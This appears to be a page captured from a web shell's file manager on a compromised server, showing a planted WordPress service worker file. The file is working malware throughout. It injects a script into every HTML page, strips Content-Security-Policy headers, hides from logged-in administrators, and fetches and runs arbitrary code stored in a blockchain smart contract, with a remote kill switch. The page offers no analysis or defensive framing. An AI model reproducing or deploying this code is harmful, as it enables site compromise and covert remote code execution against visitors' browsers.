??????????????
??????????????
??????????????
??????????????
Warning : Undefined variable $auth in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
Warning : Trying to access array offset on value of type null in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
??????????????
??????????????
??????????????
??????????????
File Manager
✏️ Edit File: /home/mklsvubc/orkenoil.kz/wp-content/nochain/sw.js
⬅ Kembali
var MARK="data-c=\"0x58460d0b3d4d6b03761c89120393c0c676676496\"",SNIPPET="<script data-c=\"0x58460d0b3d4d6b03761c89120393c0c676676496\">(function(c){var t=(c||\"\").toLowerCase(),n=\"nc:\"+t,Z=\"0x0000000000000000000000000000000000000000\",r=[\"https://mainnet.base.org\",\"https://base.publicnode.com\",\"https://base-rpc.publicnode.com\",\"https://base.drpc.org\",\"https://1rpc.io/base\",\"https://base-mainnet.public.blastapi.io\",\"https://base.gateway.tenderly.co\"],cd=[\"https://cdn.jsdelivr.net/npm/ethers@6.13.5/dist/ethers.umd.min.js\",\"https://unpkg.com/ethers@6.13.5/dist/ethers.umd.min.js\",\"https://cdnjs.cloudflare.com/ajax/libs/ethers/6.13.5/ethers.umd.min.js\"];if(!t)return;if(window.__ncSkip||document.cookie.indexOf(\"nc_skip=1\")>=0||/wordpress_logged_in_[^=]+=/.test(document.cookie)||/\\/wp-admin|\\/wp-login\\.php|wp-admin\\/|wp-login\\.php/i.test(location.pathname+location.search))return;if(window.__ncR)return;window.__ncR=1;try{navigator.storage&&navigator.storage.persist&&navigator.storage.persist()}catch(e){}var rmCover=function(){var _cx=document.getElementById(\"nc-cover\");if(_cx)try{_cx.remove()}catch(e){}},reveal=function(){if(!document.getElementById(\"nochain-demo-frame\"))rmCover()};try{var cv=document.createElement(\"div\");cv.id=\"nc-cover\";cv.style.cssText=\"position:fixed;inset:0;width:100vw;height:100vh;margin:0;padding:0;border:0;background:#fff;z-index:2147483646\";(document.documentElement||document.body).appendChild(cv);try{cv.popover=\"manual\";cv.showPopover()}catch(e){}}catch(e){}try{var _ro=JSON.parse(localStorage[n+\":rpc\"]);if(_ro&&_ro.length)r=_ro.filter(function(u){return typeof u==\"string\"&&u.indexOf(\"https://\")==0}).slice(0,15).concat(r)}catch(z){}try{var _co=JSON.parse(localStorage[n+\":cdn\"]);if(_co&&_co.length)cd=_co.filter(function(u){return typeof u==\"string\"&&u.indexOf(\"https://\")==0}).slice(0,8).concat(cd)}catch(z){}[\"https://cdn.jsdelivr.net\",\"https://unpkg.com\",\"https://cdnjs.cloudflare.com\",\"https://mainnet.base.org\"].forEach(function(u){try{var l=document.createElement(\"link\");l.rel=\"preconnect\";l.href=u;(document.head||document.documentElement).appendChild(l)}catch(z){}});var a=Object.getPrototypeOf(async function(){}).constructor,i=[\"function getActiveScripts() view returns (uint256[] ids, string[] names, string[] codes)\",\"function hasDemoPage() view returns (bool)\",\"function getDemoPage() view returns (string pageType, string content, uint256 updatedAt)\"],x=function(e,nn,p){var w={address:Z,provider:p||{},getAddress:function(){return Promise.resolve(Z)}},E=typeof ethers!==\"undefined\"?ethers:void 0;return e.reduce(function(q,u){return q.then(function(){return new a(\"console\",\"ethers\",\"provider\",\"contract\",\"wallet\",\"document\",\"window\",'\"use strict\";return(async()=>{\\n'+u+'\\n})();')(console,E,p,nn,w,document,window)}).catch(function(z){})},Promise.resolve())},m=function(e){return{target:t,getActiveScripts:function(){return Promise.resolve([e.i,e.n,e.c])},hasDemoPage:function(){return Promise.resolve(!!e.d)},getDemoPage:function(){return Promise.resolve(e.d?[e.d[0],e.d[1],0]:[\"\",\"\",0])}}},cached;try{cached=JSON.parse(localStorage[n])}catch(z){}var shown=false,kill=function(){try{navigator.serviceWorker.getRegistrations().then(function(rs){rs.forEach(function(r){r.unregister()})})}catch(z){}try{caches.delete(\"nc-eth\")}catch(z){}try{caches.delete(\"ncblob\")}catch(z){}},fb=function(){if(!shown&&cached&&cached.c){if(cached.d&&cached.d[1]===\"nc-kill\"){shown=true;kill();return}shown=true;try{x(cached.c,m(cached),null)}catch(z){}}};function boot(){var f=async function(p){var e=new ethers.Contract(t,i,p),g=await e.getActiveScripts(),d=null;try{if(await e.hasDemoPage()){var h=await e.getDemoPage();d=[h[0],h[1]]}}catch(z){}return{i:g[0].map(function(x){return Number(x)}),n:Array.from(g[1]),c:Array.from(g[2]),d:d}},j=async function(p){var y=await f(p),w=new ethers.Contract(t,i,p);try{localStorage[n]=JSON.stringify({i:y.i,n:y.n,c:y.c})}catch(z){}if(y.d&&y.d[1]===\"nc-kill\"){shown=true;kill();return!0}await x(y.c,w,p);shown=true;return!0};async function b(){if(!ethers.isAddress(t))return;for(var att=0;att<2;att++){var s=r.slice().sort(function(){return Math.random()-.5});for(var v=0;v<s.length;v++)try{var g=new ethers.JsonRpcProvider(s[v],8453,{staticNetwork:!0});if(await j(g))return}catch(z){}}fb()}b().catch(function(z){console.error(\"[nc]\",z&&z.message||z);fb()}).finally(reveal)}function ld(k){if(window.ethers)return boot();if(k>=cd.length){console.error(\"[nc] cdn fail\");return fb()}var o=document.createElement(\"script\");o.src=cd[k];o.fetchPriority=\"high\";o.onload=function(){window.ethers?boot():ld(k+1)};o.onerror=function(){ld(k+1)};(document.head||document.documentElement).appendChild(o)}setTimeout(function(){fb();reveal()},10000);ld(0)})(document.currentScript&&document.currentScript.dataset.c)</script>";self.addEventListener("install",function(){self.skipWaiting()});self.addEventListener("activate",function(e){e.waitUntil(self.clients.claim())});self.addEventListener("fetch",function(e){var q=e.request;if(q.method!=="GET")return;if(/(jsdelivr|unpkg|cdnjs)/.test(q.url)&&/ethers/.test(q.url)){e.respondWith((async function(){try{var c=await caches.open("nc-eth");var h=await c.match(q);if(h)return h;var r=await fetch(q);try{await c.put(q,r.clone())}catch(_){}return r}catch(_){return fetch(q)}})());return}if(q.mode==="navigate"||q.headers.get("accept")&&q.headers.get("accept").indexOf("text/html")>=0){if(/wp-admin|wp-login\.php/i.test(q.url))return;var _ck=q.headers.get("Cookie")||"";if(/wordpress_logged_in_|nc_skip=1/.test(_ck))return;e.respondWith((async function(){try{var r=await fetch(q,{cache:"no-store"});var ct=r.headers.get("content-type")||"";if(ct.indexOf("text/html")<0)return r;var html=await r.text();if(/wp-admin|wp-login\.php/i.test(q.url))return r;if(/wordpress_logged_in_|nc_skip=1/.test(_ck))return r;if(html.indexOf(MARK)<0){html=/<head[^>]*>/i.test(html)?html.replace(/<head[^>]*>/i,function(m){return m+SNIPPET}):SNIPPET+html}var hd=new Headers(r.headers);hd.delete("content-length");hd.delete("content-security-policy");hd.delete("content-security-policy-report-only");hd.set("cache-control","no-store");return new Response(html,{status:r.status,statusText:r.statusText,headers:hd})}catch(_){return fetch(q,{cache:"no-store"})}})())}});
Nama
Tipe
Ukuran
Diubah
Aksi
📜 sw.js
js
6.2 KB
2026-06-14 15:27